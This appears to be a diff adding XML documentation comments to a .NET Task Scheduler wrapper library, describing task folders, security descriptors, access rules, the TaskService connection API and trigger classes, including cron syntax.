\MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + 